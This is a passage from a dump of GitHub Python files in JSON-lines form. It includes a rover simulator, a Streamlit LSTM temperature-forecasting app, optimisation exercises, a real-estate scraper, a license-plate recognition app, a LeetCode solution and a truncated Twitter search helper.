val\n","repo_name":"duncandc/eco_mocks","sub_path":"galaxy_abundance_functions.py","file_name":"galaxy_abundance_functions.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22567239093","text":"import re, sys\nfrom rover import Rover\n\ndef main(files_names):\n if len(files_names) < 1:\n Exception(\"No file names where given as input\")\n output_lines = []\n direction_to_degrees = {\"E\": 0, \"N\": 90, \"W\": 180, \"S\": 270}\n degrees_to_direction = {0: \"E\", 90: \"N\", 180: \"W\", 270: \"S\"}\n\n for files_name in files_names:\n f = open(files_name, \"r\")\n input = f.read()\n lines = input.split(\"\\n\")\n top_corner_coords = lines[0].split(\":\")[1]\n rovers_names = list(set([re.findall(r'Rover\\d', x)[0] for x in lines[1:]]))\n for rover in rovers_names:\n instructions = [line for line in lines if rover in line]\n instructions_tape = \"\".join([inst.split(\":\")[1] for inst in instructions if \"Instructions\" in inst])\n landing_string = [inst for inst in instructions if \"Landing\" in inst][0]\n landing_coord = landing_string.split(\":\")[1][0:-2]\n landing_direction = landing_string[-1]\n r = Rover(rover, int(landing_coord[0]), int(landing_coord[2]), direction_to_degrees[landing_direction], int(top_corner_coords[0]), int(top_corner_coords[2]))\n r.read_and_follow_instruction_tape(instructions_tape)\n output_lines.append(str(r))\n\n [print(output_line) for output_line in output_lines]\n\nif __name__ == '__main__':\n files_names = sys.argv[1:]\n main(files_names)\n ","repo_name":"qahme033/rover_test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70752950483","text":"#Importing Libraries\r\n\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn import metrics\r\nimport geocoder\r\n#from st_aggrid import GridOptionsBuilder, AgGrid, GridUpdateMode, DataReturnMode\r\nfrom http import server\r\nserver.maxMessageSize = 1000\r\nst.set_option('deprecation.showPyplotGlobalUse', False)\r\n\r\nimport seaborn as sns\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\nimport plotly.graph_objs as go\r\n\r\n\r\n\r\n# For time stamps\r\nfrom datetime import datetime\r\n\r\nimport plotly.express as px\r\nimport matplotlib.pyplot as plt\r\nsns.set_style('whitegrid')\r\nplt.style.use(\"fivethirtyeight\")\r\n#%matplotlib inline\r\nfrom matplotlib.pylab import rcParams\r\nrcParams['figure.figsize']=20,10\r\nfrom keras.models import Sequential\r\nfrom keras.layers import LSTM,Dropout,Dense\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nimport requests\r\nfrom io import StringIO\r\n\r\nfrom io import BytesIO\r\nfrom zipfile import ZipFile\r\nimport pandas\r\n\r\n\r\n## Importing Datasets\r\n\r\nlon_lat = pd.read_csv(\"https://raw.githubusercontent.com/Gulafshanp/DataAnalyticsproj_Dataset/main/Longitude_Latitude.csv\")\r\nmarine = pd.read_csv(\"https://raw.githubusercontent.com/Gulafshanp/DataAnalyticsproj_Dataset/main/Global_2020_MarineSpeciesRichness_AquaMaps.csv\")\r\n\r\n\r\n#### Here Temp Dataset which is Temperature dataset will be given more\r\n## Priority as We will be predicting the avg temperature\r\n@st.cache(suppress_st_warning=True)\r\ndef load_data():\r\n url = \"https://storage.googleapis.com/kaggle-data-sets/1513202/2499089/bundle/archive.zip?X-Goog-Algorithm=GOOG4-RSA-SHA256&X-Goog-Credential=gcp-kaggle-com%40kaggle-161607.iam.gserviceaccount.com%2F20221226%2Fauto%2Fstorage%2Fgoog4_request&X-Goog-Date=20221226T080934Z&X-Goog-Expires=259200&X-Goog-SignedHeaders=host&X-Goog-Signature=820b3ac7524e806dfb504e664a38988fe2e4ba6f9ea88674a3e07aff5a728c0a2c0befbafbfaaab8b3ae91947aaad03a0c88927e19179b38a4ad1c79ad45cf249afe771f579a5ba56a549710b6fde37f04916c859b3684e762746a326a7dbdec7c02b3e0cc29d550bea51884f4ef44a751fe27dbec2ab851204f2ae01979fb64f1466edfd0688eeabd55c805d223dc2527d2552864615c19e102cc9cdd4b724634dfdc365e634f239149ba022906f3a82e453807fa6a782e99a4d24b9f5bc47c49a9b4365defee4e6cee7f52a9d8fe3282a35c31cc5f928498baf628c4329640befa1dcd8d2917514ea528ce58c72544b4827acb51421793538742a4a878cca6\"\r\n content = requests.get(url)\r\n zf = ZipFile(BytesIO(content.content))\r\n\r\n for item in zf.namelist():\r\n print(\"File in zip: \"+ item)\r\n\r\n # find the first matching csv file in the zip:\r\n match = [s for s in zf.namelist() if \".csv\" in s][0]\r\n # the first line of the file contains a string - that line shall de ignored, hence skiprows\r\n global temp\r\n temp = pandas.read_csv(zf.open(match), low_memory=False)\r\n return temp\r\ntemp = load_data()\r\n#---------------------------------------------------------------#\r\ndef main():\r\n st.title(\"Average Temperature Forecasting App\")\r\n st.subheader(\"\"\"Access The Menu/ Options:\r\n At Upper Left Corner in The Sidebar!!😊\"\"\")\r\n st.sidebar.title('Sidebar')\r\n st.sidebar.subheader(\"Options\")\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\nif st.sidebar.checkbox(\"Display Data\", False):\r\n # Boolean to resize the dataframe, stored as a session state variable\r\n st.checkbox(\"Use container width\", value=False, key=\"use_container_width\")\r\n st.subheader(\"Longitude & Latitude Dataset\")\r\n st.dataframe(lon_lat, use_container_width=st.session_state.use_container_width)\r\n st.write(\"-\"*75)\r\n st.subheader(\"Marine Species Richness Dataset\")\r\n st.dataframe(marine, use_container_width=st.session_state.use_container_width)\r\n st.write(\"-\" * 75)\r\n st.subheader(\"City Temperature\")\r\n st.dataframe(temp.head(), use_container_width=st.session_state.use_container_width)\r\n st.write(\"-\" * 75)\r\n\r\n# __________________________\r\n##Data Cleaning/ Preparation\r\n#________________________________\r\n\r\n\r\nlon_lat = lon_lat.drop(lon_lat.columns[[0]], axis=1)\r\nmarine = marine.drop(['C-Square Code'], axis=1)\r\n\r\n\r\ndf_info = ['Descriptive Analysis', \"Shape & Columns of Dataset\", \"Info About Datasets\", \"Check NA Values\",\r\n \"Datatypes of Columns\", \"Visualize Marine Species\"]\r\n\r\n\r\nst.sidebar.subheader(\"Display Visualizations/ Analysis\")\r\nsdbar = st.sidebar.multiselect(\"Select:\", df_info)\r\n\r\nif 'Descriptive Analysis' in sdbar:\r\n st.header(\"Detailed Description\")\r\n\r\n\r\n tab1, tab2, tab3 = st.tabs([\"Longitude & Latitude\", \"Marine Species Richness\", \"City Temperature\"])\r\n\r\n tab1.subheader(\"Description of Longitude & Latitude Datasets\")\r\n tab1.write(lon_lat.describe())\r\n\r\n tab2.subheader(\"Description of Marine Species Dataset\")\r\n tab2.write(marine.describe())\r\n\r\n tab3.subheader(\"Description of City Temperature Dataset\")\r\n tab3.write(temp.describe())\r\n\r\n\r\nif \"Shape & Columns of Dataset\" in sdbar:\r\n # Shape of the Dataset\r\n st.subheader(\"Shape of The Datasets: \")\r\n st.write(\"Shape of Longitude & Latitude Dataset : \", lon_lat.shape)\r\n st.write(\"Shape of Marine Species Richness Dataset: \", marine.shape)\r\n st.write(\"Shape of City Temperature Dataset : \", temp.shape)\r\n st.write('_'*75)\r\n\r\n # Columns of the Dataset\r\n st.subheader(\"Columns of the Dataset: \")\r\n st.write(\"Longitude & Latitude Dataset\", lon_lat.columns)\r\n st.write(\"Marine Species Richness Dataset\", marine.columns)\r\n st.write(\"City Temperature Dataset\", temp.columns)\r\n st.write('-'*75)\r\n\r\nif \"Info About Datasets\" in sdbar:\r\n # Information about the dataset\r\n st.subheader(\"Information About The Datasets\")\r\n st.write(lon_lat.info())\r\n st.write(marine.info())\r\n st.write(temp.info())\r\n print(\"-\" * 50)\r\n\r\nif 'Check NA Values' in sdbar:\r\n st.subheader(\"Checking NA/ Null Values\")\r\n ## Checking Null Values\r\n st.write(lon_lat.isnull().sum())\r\n st.write(marine.isnull().sum())\r\n st.write(temp.isnull().sum())\r\n\r\n## Handling NAN Values filling missing values using fillna()\r\nlon_lat = lon_lat.fillna(0)\r\nmarine = marine.fillna(0)\r\ntemp = temp.fillna(0)\r\n\r\n#Creating DATE column using Month, Day & Year Columns of the Dataframe\r\n@st.cache(allow_output_mutation=True)\r\ndef clean_data():\r\n temp['Date'] = temp[temp.columns[4:7]].apply(\r\n lambda x: '/'.join(x.dropna().astype(str)),\r\n axis=1\r\n )\r\n return temp\r\ntemp = clean_data()\r\n#While converting it into datetime\r\n# format we got a eerror saying there is year 201\r\n# which exist in the dataframe\r\n# as it is irrevant we will remove the same\r\nrslt_df = temp[(temp['Date'] == '12/3/201')]\r\n\r\nrslt_df = temp[(temp['Year'] == 201)]\r\n\r\n#Dropping all those rows where year == 201\r\nindex_names = temp[ temp['Year'] == 201 ].index\r\ntemp.drop(index_names, inplace = True)\r\n\r\n\r\n#As Day cannot be zero which means it is irrelevant\r\nrslt_df = temp[(temp['Day'] == 0)]\r\n\r\n\r\n#Dropping all those rows where Day == 0\r\nindex_names = temp[ temp['Day'] == 0 ].index\r\ntemp.drop(index_names, inplace = True)\r\n\r\n\r\n#As Day cannot be zero which means it is irrelevant\r\nrslt_df = temp[(temp['Year'] == 200)]\r\n\r\n#Dropping all those rows where Day == 0\r\nindex_names = temp[ temp['Year'] == 200 ].index\r\ntemp.drop(index_names, inplace = True)\r\n\r\n#Converting Date column into Datetime format\r\ntemp[\"Date\"] = pd.to_datetime(temp.Date, format=\"%m/%d/%Y\")\r\n\r\nif \"Datatypes of Columns\" in sdbar:\r\n st.subheader(\"Datatypes of Columns: \")\r\n st.write(lon_lat.dtypes)\r\n st.write(marine.dtypes)\r\n st.write(temp.dtypes)\r\n\r\n\r\ndef viz_m_s():\r\n color_scale = [(0, 'orange'), (1, 'red')]\r\n fig = px.scatter_mapbox(marine,\r\n lat=\"Latitude\",\r\n lon=\"Longitude\",\r\n hover_name=\"Species Count\",\r\n hover_data=[\"Species Count\"],\r\n color=\"Species Count\",\r\n color_continuous_scale=color_scale,\r\n size=\"Species Count\",\r\n zoom=8,\r\n height=800,\r\n width=800)\r\n\r\n fig.update_layout(mapbox_style=\"open-street-map\")\r\n fig.update_layout(margin={\"r\": 0, \"t\": 0, \"l\": 0, \"b\": 0})\r\n st.plotly_chart(fig, use_container_width=True)\r\n\r\nif \"Visualize Marine Species\" in sdbar:\r\n st.header(\"Visualization\")\r\n st.subheader('Visualizing Marine Species According to Latitude & Longitude')\r\n viz_m_s()\r\n\r\nif st.sidebar.checkbox(\"Apply LSTM\", False):\r\n st.subheader(\"LSTM Prediction Model\")\r\n country_list = tuple(temp.Country.unique())\r\n selected_country = st.selectbox('Select the Country', country_list)\r\n inp_country = selected_country\r\n\r\n df = temp[(temp['Country'] == inp_country)]\r\n selected_city = st.selectbox('Select the City', df.City.unique())\r\n inp_cty = selected_city\r\n\r\n df = temp[(temp['City'] == inp_cty)]\r\n df = pd.DataFrame(df)\r\n import datetime\r\n today = datetime.date.today()\r\n past = datetime.date(2018, 7, 6)\r\n start_date = st.date_input('Start date', past)\r\n end_date = st.date_input('End date', today)\r\n if start_date < end_date:\r\n st.success('Start date: `%s`\\n\\nEnd date:`%s`' % (start_date, end_date))\r\n else:\r\n st.error('Error: End date must fall after start date.')\r\n\r\n ### Select rows between two dates\r\n start_date = str(start_date)\r\n end_date = str(end_date)\r\n\r\n mask = (df['Date'] > start_date) & (df['Date'] <= end_date)\r\n df = df.loc[mask]\r\n\r\n # Creating Dataframe That Only Contains Date & AvgTemperature Column\r\n df = pd.DataFrame(df[['Date', 'AvgTemperature']])\r\n df.index = df['Date'] # Making Date column as Index\r\n\r\n if st.sidebar.checkbox(\"Display AvgTemp Data\", False):\r\n st.subheader(\"Date & AvgTemperature Dataframe\")\r\n # Creating Dataframe That Only Contains Date & AvgTemperature Column\r\n df = pd.DataFrame(df[['Date', 'AvgTemperature']])\r\n df.index = df['Date'] # Making Date column as Index\r\n st.dataframe(df)\r\n ####### Data Preparation\r\n df = df.fillna(0)\r\n\r\n df = df.sort_index(ascending=True, axis=0)\r\n data = pd.DataFrame(index=range(0, len(df)), columns=['Date', 'AvgTemperature'])\r\n\r\n for i in range(0, len(data)):\r\n data[\"Date\"][i] = df['Date'][i]\r\n data[\"AvgTemperature\"][i] = df[\"AvgTemperature\"][i]\r\n\r\n ## Creating function for Calculation of Splitting of Data\r\n len(data)\r\n def split(data):\r\n data = len(data)\r\n data = ((data * 70)) / 100\r\n data = round(data)\r\n return data\r\n sp_val = split(data)\r\n st.write(\"Length of The Data: \", sp_val)\r\n\r\n ########## Min-Max Scaler\r\n scaler = MinMaxScaler(feature_range=(0, 1))\r\n data.index = data.Date\r\n data.drop(\"Date\", axis=1, inplace=True)\r\n final_data = data.values\r\n train_data = final_data[0:sp_val, :]\r\n valid_data = final_data[sp_val:, :]\r\n scaler = MinMaxScaler(feature_range=(0, 1))\r\n scaled_data = scaler.fit_transform(final_data)\r\n x_train_data, y_train_data = [], []\r\n for i in range(60, len(train_data)):\r\n x_train_data.append(scaled_data[i - 60:i, 0])\r\n y_train_data.append(scaled_data[i, 0])\r\n\r\n\r\n ########LSTM Model\r\n\r\n lstm_model = Sequential()\r\n lstm_model.add(LSTM(units=50, return_sequences=True, input_shape=(np.shape(x_train_data)[1], 1)))\r\n lstm_model.add(LSTM(units=50))\r\n lstm_model.add(Dense(1))\r\n model_data = data[len(data) - len(valid_data) - 60:].values\r\n model_data = model_data.reshape(-1, 1)\r\n model_data = scaler.transform(model_data)\r\n\r\n #######Training and Testing Data\r\n ##Converting the the values into arrays to avoid errors\r\n # df = df.fillna(0)\r\n x_train_data = np.asarray(x_train_data)\r\n y_train_data = np.asarray(y_train_data)\r\n\r\n lstm_model.compile(loss='mean_squared_error', optimizer='adam')\r\n lstm_model.fit(x_train_data, y_train_data, epochs=1, batch_size=1, verbose=2)\r\n\r\n X_test = []\r\n for i in range(60, model_data.shape[0]):\r\n X_test.append(model_data[i - 60:i, 0])\r\n X_test = np.array(X_test)\r\n X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\r\n\r\n ####### Model Evaluation\r\n model_eval = lstm_model.summary()\r\n\r\n\r\n ##### Prediction Function\r\n predicted_avg_temp = lstm_model.predict(X_test)\r\n predicted_avg_temp = scaler.inverse_transform(predicted_avg_temp)\r\n\r\n\r\n ###### Prediction Result\r\n\r\n df_info1 = ['Historical Average Temperature', 'Predicted Average Temperature', 'Prediction Dataframe']\r\n\r\n st.sidebar.subheader(\"Display Visualizations\")\r\n sdbar1 = st.sidebar.multiselect(\"Select:\", df_info1)\r\n \r\n def pred_avg_temp():\r\n global valid_data\r\n train_data = data[:sp_val]\r\n valid_data = data[sp_val:]\r\n\r\n valid_data['Predictions'] = predicted_avg_temp\r\n\r\n ## Plotting Using Matplotlib\r\n st.header(\"Visualization\")\r\n st.subheader('Visualizing Predicted Average Temperature Using Model')\r\n plt.figure(figsize=(16, 6))\r\n plt.title('Prediction Of Avg Temperature Using Model')\r\n plt.xlabel('Date', fontsize=18)\r\n plt.ylabel('Average Temperature', fontsize=18)\r\n plt.plot(train_data['AvgTemperature'])\r\n plt.plot(valid_data[['AvgTemperature', 'Predictions']])\r\n plt.legend(['Train', 'Val', 'Predictions'], loc='lower right')\r\n fig = plt.tight_layout()\r\n st.pyplot(fig)\r\n \r\n if 'Predicted Average Temperature' in sdbar1:\r\n pred_avg_temp()\r\n \r\n def hist_avg_temp():\r\n st.header(\"Visualization\")\r\n st.subheader('Visualizing Historical View of Average Temperature')\r\n plt.figure(figsize=(16, 6))\r\n plt.title('Historical View of Average Temperature')\r\n plt.xlabel('Date', fontsize=18)\r\n plt.ylabel('Average Temperature', fontsize=18)\r\n plt.plot(df[\"AvgTemperature\"], label='Average Temperature history')\r\n fig = plt.tight_layout()\r\n st.pyplot(fig)\r\n \r\n if 'Historical Average Temperature' in sdbar1:\r\n hist_avg_temp()\r\n\r\n if 'Prediction Dataframe' in sdbar1:\r\n st.subheader(\"Predicted Average Temperature Dataframe\")\r\n st.dataframe(valid_data)\r\nst.sidebar.subheader(\"\"\"I hope You Liked the Application & UI\r\nThis was made as part of a\r\nData Analytics project.\r\n \r\nOwned By: Gulafshan\"\"\")\r\n\r\n","repo_name":"Gulafshanp/AverageTempStreamlit_App","sub_path":"Streamlit_app.py","file_name":"Streamlit_app.py","file_ext":"py","file_size_in_byte":14402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35978314793","text":"import yaml\n\n\"\"\"\n 从文件中读取yaml配置,并转换成一个对象\n\"\"\"\n\n\ndef ReadYaml(filepath, mode=\"r\"):\n f = open(filepath, mode, encoding=\"utf-8\")\n cfg = f.read()\n load = yaml.load(cfg, Loader=yaml.BaseLoader)\n return load\n\n\n# def disposeYamlObject():\n","repo_name":"GompaMindPeople/ossTest","sub_path":"common/yaml_utils.py","file_name":"yaml_utils.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3394721553","text":"import numpy as np\n\n#def f(x):\n# suma = 0\n# for i in range(len(x)):\n# suma = suma + (i+1) * x[i]**2\n# return suma \n\ndef rosenbrock(x, a = 1, b = 1):\n return (a-x[0])**2 + b*(x[1] -x[0]**2)**2 \n\ndef gradiente(f, x, h = .0001):\n n = len(x)\n grad = np.zeros(n)\n for i in range(n):\n z = np.zeros(n)\n z[i] = h/2\n grad[i] = (f(x+z) - f(x-z))/h\n return grad\n\ndef hessiana(f, x, h = .0001):\n n = len(x)\n hess = np.zeros((n,n))\n for i in range(n):\n w = np.zeros(n)\n w[i] = h\n for j in range(n):\n if i==j:\n hess[i][j] = (-f(x+2*w) +16*f(x+w) - 30*f(x) + 16*f(x-w) -f(x-2*w))/(12*h**2)\n else:\n z = np.zeros(n)\n z[j] = h\n hess[i][j] = (f(x + w + z) - f(x - w + z) - f(x - z + w) + f(x - z - w))/(4*h**2)\n return hess\n\ndef condicionesnecesarias(f, x, h = .0001):\n resp = True\n n = len(x)\n grad = gradiente(f, x, h)\n for i in range(n):\n if abs(grad[i]) > h:\n resp = False\n break\n if resp:\n eigenValores = np.linalg.eig(hessiana(f, x, h))\n for i in range(n):\n if eigenValores[0][i] < h:\n resp = False\n break\n\n return resp \n####### direcciones de descenso ########\ndef steepest(f, x):\n return -gradiente(f,x)\ndef newton(f, x, h=.0001):\n \n return -np.linalg.solve(hessiana(f, x, h), gradiente(f, x, h))\n\ndef condicionesWolfe(f, x, p, a, c1=.5, c2=.9):\n resp = True\n if f(x + a*p) > f(x) + c1*a*np.dot(gradiente(f, x), p):\n resp=False\n if np.dot(gradiente(f, x + a*p), p) < c2*np.dot(gradiente(f, x), p):\n resp=False\n return resp\n\ndef encuentraMinimo(f,x, tipo = 1, phi = .7, h =.0001):\n while not condicionesnecesarias(f, x, h):\n a = 1\n if tipo==1:\n p = steepest(f, x)\n else:\n p = newton(f, x, h)\n\n while not condicionesWolfe(f, x, p, a):\n a = phi*a\n x = x + a*p\n return x\n\n## x de prueba\nx=np.array([3,3])\nprint (\"x es:\")\nprint (x)\nprint (\"direccion newton:\")\nprint(newton(rosenbrock, x))\nprint(\"minimo de newton: \")\nprint(x + newton(rosenbrock, x))\n\n\n#prueba con direccion de newton\nprint(\"minimocon direccion newton:\")\nresp = encuentraMinimo(rosenbrock,x, 2,.7,.0001)\nprint (resp)\n#prueba con steepest\nprint(\"minimocon direccion maximo descenso:\")\nresp = encuentraMinimo(rosenbrock,x, 1,.7,.0001)\n\nprint (resp)","repo_name":"Skalas/Analisis-Aplicado-Spring2021","sub_path":"Alumnos/FernandoOPM/examen/examen.py","file_name":"examen.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31787337901","text":"from bs4 import BeautifulSoup\nimport requests\nfrom Day53.config import SITE_URL\nimport re\n\n\nclass Scrapping:\n\n @classmethod\n def scrap_data(cls):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36\",\n \"Accept-Language\": \"en-GB,en-US;q=0.9,en;q=0.8\"\n }\n html = requests.get(SITE_URL, headers=headers)\n html.raise_for_status()\n soup = BeautifulSoup(html.text, \"html.parser\")\n tmp_list = soup.select(\"article\")\n for tag in tmp_list:\n a = tag.find(\"a\")\n if a:\n try:\n href = a.attrs[\"href\"]\n address = a.text\n pr = tag.find(\"div\", class_=\"list-card-price\")\n price = re.match(\"[$]\\d,\\d+\", pr.next.text).group(0)\n if \"http\" not in href:\n yield f\"https://www.zillow.com{href}\", address, price\n else:\n yield href, address, price\n except:\n continue\n","repo_name":"annahmyria629/100DaysOfCode","sub_path":"Day53/scrapping.py","file_name":"scrapping.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1540542129","text":"import os\nimport cv2\nimport torch\nimport tempfile\nfrom datetime import datetime\nfrom torch.autograd import Variable\nfrom crnet import *\nfrom plate_utils import *\nimport streamlit as st\n\n\ndef load_classes(path):\n classes = [i.strip() for i in open(path, 'r').readlines() if i!=\"\\n\"]\n return classes\n\ndef number_recognition(img):\n \n s_img = prep_image(img, inp_dim, inp_dim2)\n\n im_dim_list = [(img.shape[1], img.shape[0])]\n im_dim_list = torch.FloatTensor(im_dim_list).repeat(1,2)\n\n if CUDA:\n s_img = s_img.cuda()\n img_dim_list = im_dim_list.cuda()\n\n with torch.no_grad():\n prediction = number_model(Variable(s_img), CUDA)\n\n output = write_results(prediction, confidence, num_classes, nms_conf=nms_thresh)\n\n if isinstance(output, int):\n return \"\"\n \n # Rescale output to match the dimension of the original image\n im_dim_list = torch.index_select(im_dim_list, 0, output[:,0].long())\n scaling_factor_h = (inp_dim/im_dim_list[:,1]).view(-1,1)\n scaling_factor_w = (inp_dim2/im_dim_list[:,0]).view(-1,1)\n output[:, [1,3]] -= (inp_dim2 - scaling_factor_w*im_dim_list[:,0].view(-1,1))/2\n output[:, [2,4]] -= (inp_dim - scaling_factor_h*im_dim_list[:,1].view(-1,1))/2\n \n output[:, [1,3]] /= scaling_factor_w\n output[:, [2,4]] /= scaling_factor_h\n\n # clip bounding box for those that extend outside the image\n for i in range(output.shape[0]):\n output[i, [1,3]] = torch.clamp(output[i, [1,3]], 0.0, im_dim_list[i, 0])\n output[i, [2,4]] = torch.clamp(output[i, [2,4]], 0.0, im_dim_list[i, 1])\n \n number = sorted(\n [(classes[int(x[-1])], int(x[1])) for x in output],\n key = lambda x: x[1]\n ) \n \n \n return \"\".join([str(i[0]) for i in number])\n\ndef detect(img, img_size):\n img, img0 = data(img, img_size)\n img_tensor = torch.from_numpy(img).float()\n img_tensor /= 255.0\n img_tensor = img_tensor.unsqueeze(0)\n \n pred = plate_model(img_tensor, None)[0]\n pred = non_max_suppression(pred)\n\n img_c = img0.copy()\n for i, det in enumerate(pred):\n if len(det):\n det[:, :4] = scale_coords(img_tensor.shape[2:], det[:, :4], img_c.shape).round()\n for *xyxy, conf, cls_ in reversed(det):\n coord = list(map(int, xyxy))\n c = int(cls_)\n y, x = int(coord[0]), int(coord[1])\n h = int(coord[2] - coord[0])\n w = int(coord[3] - coord[1])\n cropped = img0[x:x+w, y:y+h]\n number = number_recognition(cropped)\n \n if number and number not in seen_plates:\n seen_plates.append(number)\n #elif not number: label = \"license_plate\"\n plot_one_box(xyxy, img_c, label=number, color=colors(c, True), line_thickness=2)\n return img_c\n\ndef main():\n global seen_plates, plate_model, number_model, num_classes, confidence, nms_thresh, classes, inp_dim, inp_dim2, CUDA, colors\n st.title(\"License Plate Recognition\")\n st.header(\"Reads the character on license plate...\")\n st.write(\n \"\"\" An application of computer vision to read and store the\n digits on the license plate of vehicles.\n\n Outcomes might be slow because inference is performed on CPU.\n \"\"\"\n )\n st.write(\n \"\"\"\n Upload the video file (mp4).\n \"\"\"\n )\n video = st.file_uploader(\"Your video input.\")\n if st.button(\"start recognition\"):\n if not video: st.warning(\"no input video!!!\")\n else:\n ms = datetime.now().microsecond\n tempf = tempfile.NamedTemporaryFile(delete=True, prefix=str(ms), dir=\".\", suffix=\".mp4\")\n tempf.write(video.read())\n seen_plates = []\n plate_model = torch.load('./best.pt')['model'].float()\n number_model = torch.load(\"./crnet.pt\").eval()\n\n num_classes = 35\n confidence = 0.6\n nms_thresh = 0.4\n classes = load_classes(\"./lp-recognition.names\")\n inp_dim = 128\n inp_dim2 = 352\n CUDA = torch.cuda.is_available()\n \n colors = Colors()\n\n #cap = cv2.VideoCapture(\"./video/video1.mp4\")#\"./images/michael/img/imgi/image_%04d.jpg\"\n cap = cv2.VideoCapture(tempf.name)\n assert cap.isOpened(), \"Unable to read from source...\"\n stframe = st.empty()\n while cap.isOpened():\n ret, img = cap.read()\n if ret:\n pred = detect(img, (640, 640))\n else:\n break\n img_pred = cv2.cvtColor(pred, cv2.COLOR_BGR2RGB)\n stframe.image(img_pred, width=720)\n cap.release()\n\n st.write(\"Seen plates:\")\n st.write(\"\\n\".join(seen_plates))\n \n torch.cuda.empty_cache()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Yodeman/license_plate","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37625875304","text":"from typing import List\n\nclass Solution:\n def invalidTransactions(self, transactions: List[str]) -> List[str]:\n customers = {}\n invalid = set()\n # step through the transaction list\n for i in range(len(transactions)):\n # parse info from string\n name, time, amount, city = transactions[i].split(',')\n\n time = int(time)\n amount = int(amount)\n\n transaction = [name, time, amount, city, transactions[i]]\n\n if amount > 1000:\n invalid.add(transactions[i])\n\n if name not in customers:\n customers[name] = [transaction]\n continue\n # check for transactions in different city by same customer to see if time is within 60minutes.\n for j in range(len(customers[name])):\n if customers[name][j][3] != city and -60 <= time - customers[name][j][1] <= 60:\n if customers[name][j][4] not in invalid:\n invalid.add(customers[name][j][4])\n invalid.add(transactions[i])\n\n customers[name].append(transaction)\n\n return list(invalid)\n\n\ntransactions = [\"alice,20,800,mtv\",\"alice,50,100,beijing\"]\ntransactions2 = [\"alice,20,800,mtv\",\"alice,50,1200,mtv\"]\ntransactions3 = [\"alex,676,260,bangkok\",\"bob,656,1366,bangkok\",\"alex,393,616,bangkok\",\"bob,820,990,amsterdam\",\"alex,596,1390,amsterdam\"]\ntransactions4 = [\"bob,689,1910,barcelona\",\"alex,696,122,bangkok\",\"bob,832,1726,barcelona\",\"bob,820,596,bangkok\",\"chalicefy,217,669,barcelona\",\"bob,175,221,amsterdam\"]\ntransactions5 = [\"lee,886,1785,beijing\",\"alex,763,1157,amsterdam\",\"lee,277,129,amsterdam\",\"bob,770,105,amsterdam\",\"lee,603,926,amsterdam\",\"chalicefy,476,50,budapest\",\"lee,924,859,barcelona\",\"alex,302,590,amsterdam\",\"alex,397,1464,barcelona\",\"bob,412,1404,amsterdam\",\"lee,505,849,budapest\"]\ntransactions6 = [\"bob,627,1973,amsterdam\",\"alex,387,885,bangkok\",\"alex,355,1029,barcelona\",\"alex,587,402,bangkok\",\"chalicefy,973,830,barcelona\",\"alex,932,86,bangkok\",\"bob,188,989,amsterdam\"]\n\nsolution = Solution()\n\n# print(solution.invalidTransactions(transactions))\n# print(solution.invalidTransactions(transactions2))\n# print(solution.invalidTransactions(transactions3))\n# print(solution.invalidTransactions(transactions4))\n# print(solution.invalidTransactions(transactions5))\n# print(f'expected: {[\"lee,886,1785,beijing\",\"alex,763,1157,amsterdam\",\"lee,924,859,barcelona\",\"alex,397,1464,barcelona\",\"bob,412,1404,amsterdam\"]}')\nprint(solution.invalidTransactions(transactions6))","repo_name":"vincesanders/code_challenges","sub_path":"invalid_transactions.py","file_name":"invalid_transactions.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8991328422","text":"PAGE_URL = \"https://www.kickstarter.com/discover/advanced?category_id=16&woe_id=0&sort=magic&seed=2569455&page=\"\nCELL_URL_STYLE = \"soft-black.mb3\"\n\nDEFAULT_NUM = 300\n\n\"\"\"\nGet all links from single webpage of results\n\"\"\"\ndef get_links_from_page(driver, link_style=CELL_URL_STYLE):\n return [project.get_attribute('href') for project in driver.find_elements_by_class_name(link_style)]\n\n\n\"\"\"\nGet num_of_projects projects\n\"\"\"\ndef get_project_links(driver, num_of_projects=DEFAULT_NUM):\n project_links = []\n page_num = 1\n while len(project_links) < num_of_projects:\n driver.get(PAGE_URL + str(page_num))\n project_links += get_links_from_page(driver)\n page_num += 1\n return project_links[:num_of_projects]","repo_name":"Royz2123/Data-Science","sub_path":"HW1/list_projects.py","file_name":"list_projects.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29819438742","text":"import tweepy\nfrom django.conf import settings\n\ndef get_tweets(searchkey, location, item_num):\n api_key = settings.API_KEY\n api_secret = settings.API_SECRET\n access_key = settings.ACCESS_KEY\n access_secret = settings.ACCESS_SECRET\n\n auth = tweepy.OAuth1UserHandler(api_key, api_secret)\n auth.set_access_token(access_key, access_secret)\n api = tweepy.API(auth)\n \n search_criteria = \"{0} {1}\".format(searchkey, location)\n\n # API連携してツイート情報を収集（位置情報はqueryオペレーターに入れる）\n # fromDate入れないと過去30日遡ってしまう。。\n tweets = 